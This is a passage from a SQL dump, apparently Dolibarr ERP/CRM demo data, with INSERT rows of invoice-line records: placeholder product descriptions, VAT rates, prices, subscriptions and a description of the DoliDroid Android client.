',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(22,9,NULL,NULL,NULL,'ggg',19.600,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,1.96000000,0.00000000,0.00000000,11.96000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(23,10,NULL,4,NULL,'',12.500,'',0.000,'',0.000,'',1,0,0,NULL,-5.00000000,NULL,-5.00000000,-0.63000000,0.00000000,0.00000000,-5.63000000,0,NULL,NULL,0,NULL,12.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(24,10,NULL,1,NULL,'A beatifull pink dress\r\nlkm',0.000,'',0.000,'',0.000,'',1,0,0,NULL,-6.00000000,NULL,-6.00000000,0.00000000,0.00000000,0.00000000,-6.00000000,0,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(26,12,NULL,1,NULL,'A beatifull pink dress\r\nhfghf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,-5.00000000,NULL,-5.00000000,0.00000000,0.00000000,0.00000000,-5.00000000,0,NULL,NULL,0,0,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(27,13,NULL,NULL,NULL,'gdfgdf',19.600,'',0.000,'',0.000,'',1.4,0,0,NULL,10.00000000,NULL,14.00000000,2.74000000,0.00000000,0.00000000,16.74000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(137,33,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(138,33,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(256,55,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(257,55,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(753,13,NULL,2,NULL,'(Pays d\'origine: Albanie)',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(754,148,NULL,11,NULL,'hfghf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(755,148,NULL,4,NULL,'Decapsuleur',12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,NULL,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(757,150,NULL,2,NULL,'Product P1',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,NULL,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,NULL,NULL,NULL,5.00000000,5.00000000,0.63000000,5.63000000,NULL),(758,151,NULL,2,NULL,'Product P1',12.500,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(768,32,NULL,NULL,NULL,'mlml',18.000,'',0.000,'',0.000,'',1,0,0,NULL,100.00000000,NULL,100.00000000,18.00000000,0.00000000,0.00000000,118.00000000,0,NULL,NULL,0,NULL,46.00000000,0,0,3,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(769,32,NULL,NULL,NULL,'mlkml',18.000,'',0.000,'',0.000,'',1,0,0,NULL,400.00000000,NULL,400.00000000,72.00000000,0.00000000,0.00000000,472.00000000,0,NULL,NULL,0,NULL,300.00000000,0,0,4,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(772,160,NULL,NULL,NULL,'Adhésion/cotisation 2015',12.500,'',0.000,'',0.000,'',1,0,0,NULL,8.88889000,NULL,8.89000000,1.11000000,0.00000000,0.00000000,10.00000000,1,'2017-07-18 00:00:00','2018-07-17 00:00:00',0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(776,32,NULL,NULL,NULL,'fsdfsdfds',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(777,32,NULL,NULL,NULL,'fsdfsdfds',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,6,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(779,32,NULL,NULL,NULL,'fsdfds',0.000,'',0.000,'0',0.000,'0',0,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,9,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(780,32,NULL,NULL,NULL,'ffsdf',0.000,'',0.000,'0',0.000,'0',0,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,9,NULL,NULL,0,NULL,0.00000000,0,1790,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1022,210,NULL,NULL,NULL,'Adhésion/cotisation 2011',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,'2013-07-10 00:00:00','2014-07-09 00:00:00',0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1023,211,NULL,NULL,NULL,'Samsung Android x4',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,250.00000000,NULL,250.00000000,0.00000000,0.00000000,0.00000000,250.00000000,0,NULL,NULL,0,NULL,200.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1024,211,NULL,1,NULL,'A beatifull pink dress\r\nSize XXL',19.600,'',0.000,'0',0.000,'0',1,10,0,NULL,100.00000000,NULL,90.00000000,17.64000000,0.00000000,0.00000000,107.64000000,0,NULL,NULL,0,NULL,90.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1026,213,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',10,0,0,NULL,-100.00000000,NULL,-1000.00000000,0.00000000,0.00000000,0.00000000,-1000.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1028,149,NULL,NULL,NULL,'opoo',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.90000000,0.90000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,0,'',10.00000000,10.00000000,0.00000000,11.80000000,NULL),(1029,149,NULL,NULL,NULL,'gdgd',18.000,'IGST',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'',10.00000000,10.00000000,1.80000000,11.80000000,NULL),(1030,217,NULL,NULL,NULL,'gfdgdf',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,12.00000000,NULL,12.00000000,0.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',12.00000000,12.00000000,0.00000000,12.00000000,NULL),(1035,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1036,218,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',19.600,'',0.000,'0',0.000,'0',1,45,0,NULL,10.00000000,NULL,5.50000000,1.08000000,0.00000000,0.00000000,6.58000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',10.00000000,5.50000000,1.08000000,6.58000000,NULL),(1037,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1039,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,4,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1040,218,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',10.00000000,10.00000000,0.00000000,10.00000000,NULL),(1055,220,NULL,NULL,NULL,'(DEPOSIT) (100.00 €) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL),(1056,221,NULL,NULL,NULL,'(DEPOSIT) (30%) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,123.00000000,NULL,123.00000000,0.00000000,0.00000000,0.00000000,123.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',123.00000000,123.00000000,0.00000000,123.00000000,NULL),(1057,222,NULL,NULL,NULL,'(DEPOSIT) (100.00 €) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL),(1058,223,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',5.00000000,10.00000000,0.00000000,10.00000000,NULL),(1059,223,NULL,10,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1060,223,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1061,224,NULL,NULL,NULL,'(DEPOSIT) (5%) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,20.50000000,NULL,20.50000000,0.00000000,0.00000000,0.00000000,20.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',20.50000000,20.50000000,0.00000000,20.50000000,NULL),(1062,225,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',5.00000000,10.00000000,0.00000000,10.00000000,NULL),(1063,225,NULL,10,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1064,225,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1065,225,NULL,NULL,NULL,'(DEPOSIT)',0.000,'',0.000,'0',0.000,'0',1,0,0,15,-20.50000000,NULL,-20.50000000,0.00000000,0.00000000,0.00000000,-20.50000000,0,NULL,NULL,2,NULL,0.00000000,0,0,-1,NULL,NULL,100,NULL,NULL,12,12,0,'',-20.50000000,-20.50000000,0.00000000,-20.50000000,NULL),(1066,226,NULL,NULL,NULL,'aaa',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,12.50000000,0.00000000,0.00000000,112.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,12.50000000,112.50000000,NULL),(1067,226,NULL,NULL,NULL,'bbb',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,20.00000000,NULL,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',20.00000000,20.00000000,0.00000000,20.00000000,NULL),(1069,228,NULL,NULL,NULL,'(DEPOSIT) (70%) - PR2001-0034',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,2.00000000,0.00000000,0.00000000,52.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',50.00000000,50.00000000,2.00000000,52.00000000,NULL),(1070,228,NULL,NULL,NULL,'(DEPOSIT) (70%) - PR2001-0034',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-1.40000000,NULL,-1.40000000,-0.06000000,0.00000000,0.00000000,-1.46000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',-1.40000000,-1.40000000,-0.06000000,-1.46000000,NULL),(1071,227,NULL,NULL,NULL,'gdfgd',19.600,'',0.000,'0',0.000,'0',1,0,0,NULL,200.00000000,NULL,200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',200.00000000,200.00000000,39.20000000,239.20000000,NULL),(1072,217,NULL,1,NULL,'A beatifull pink dress',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,1.13000000,0.00000000,0.00000000,10.13000000,0,NULL,NULL,0,NULL,79.16667000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',9.00000000,9.00000000,1.13000000,10.13000000,NULL),(1074,219,NULL,30,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,4.16667000,NULL,4.17000000,0.83000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',4.16667000,4.17000000,0.83000000,5.00000000,NULL),(1089,219,NULL,24,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.83333000,NULL,0.83000000,0.17000000,0.00000000,0.00000000,1.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,20,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',0.83333000,0.83000000,0.17000000,1.00000000,NULL),(1090,229,NULL,NULL,NULL,'Subscription 2017',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2017-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL),(1091,230,NULL,NULL,NULL,'Subscription 2018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2018-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL),(1092,231,NULL,NULL,NULL,'Subscription 2019',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2019-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL); +INSERT INTO `llx_facturedet` VALUES (3,2,NULL,3,NULL,'Service S1',0.000,'',0.000,'',0.000,'',1,10,4,NULL,40.00000000,36.00000000,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,'2012-07-10 00:00:00',NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(4,2,NULL,NULL,NULL,'Abonnement annuel assurance',1.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.10000000,0.00000000,0.00000000,10.10000000,0,'2012-07-10 00:00:00','2013-07-10 00:00:00',0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(11,3,NULL,4,NULL,'afsdfsdfsdfsdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(12,3,NULL,NULL,NULL,'dfdfd',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(13,5,NULL,4,NULL,'Decapsuleur',12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(14,6,NULL,4,NULL,'Decapsuleur',19.600,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.98000000,0.00000000,0.00000000,5.98000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(21,8,NULL,NULL,NULL,'dddd',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(22,9,NULL,NULL,NULL,'ggg',19.600,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,1.96000000,0.00000000,0.00000000,11.96000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(23,10,NULL,4,NULL,'',12.500,'',0.000,'',0.000,'',1,0,0,NULL,-5.00000000,NULL,-5.00000000,-0.63000000,0.00000000,0.00000000,-5.63000000,0,NULL,NULL,0,NULL,12.00000000,394,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(24,10,NULL,1,NULL,'A beatifull pink dress\r\nlkm',0.000,'',0.000,'',0.000,'',1,0,0,NULL,-6.00000000,NULL,-6.00000000,0.00000000,0.00000000,0.00000000,-6.00000000,0,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(26,12,NULL,1,NULL,'A beatifull pink dress\r\nhfghf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,-5.00000000,NULL,-5.00000000,0.00000000,0.00000000,0.00000000,-5.00000000,0,NULL,NULL,0,0,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(27,13,NULL,NULL,NULL,'gdfgdf',19.600,'',0.000,'',0.000,'',1.4,0,0,NULL,10.00000000,NULL,14.00000000,2.74000000,0.00000000,0.00000000,16.74000000,0,NULL,NULL,0,NULL,0.00000000,108,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(137,33,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,110,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(138,33,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(256,55,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,110,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(257,55,NULL,NULL,NULL,'Desc',10.000,'',0.000,'',0.000,'',1,0,0,NULL,1.24000000,NULL,1.24000000,0.12000000,0.00000000,0.00000000,1.36000000,0,NULL,NULL,0,NULL,0.00000000,110,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(753,13,NULL,2,NULL,'(Pays d\'origine: Albanie)',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(754,148,NULL,11,NULL,'hfghf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(755,148,NULL,4,NULL,'Decapsuleur',12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,NULL,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(757,150,NULL,2,NULL,'Product P1',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,NULL,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,NULL,NULL,NULL,5.00000000,5.00000000,0.63000000,5.63000000,NULL),(758,151,NULL,2,NULL,'Product 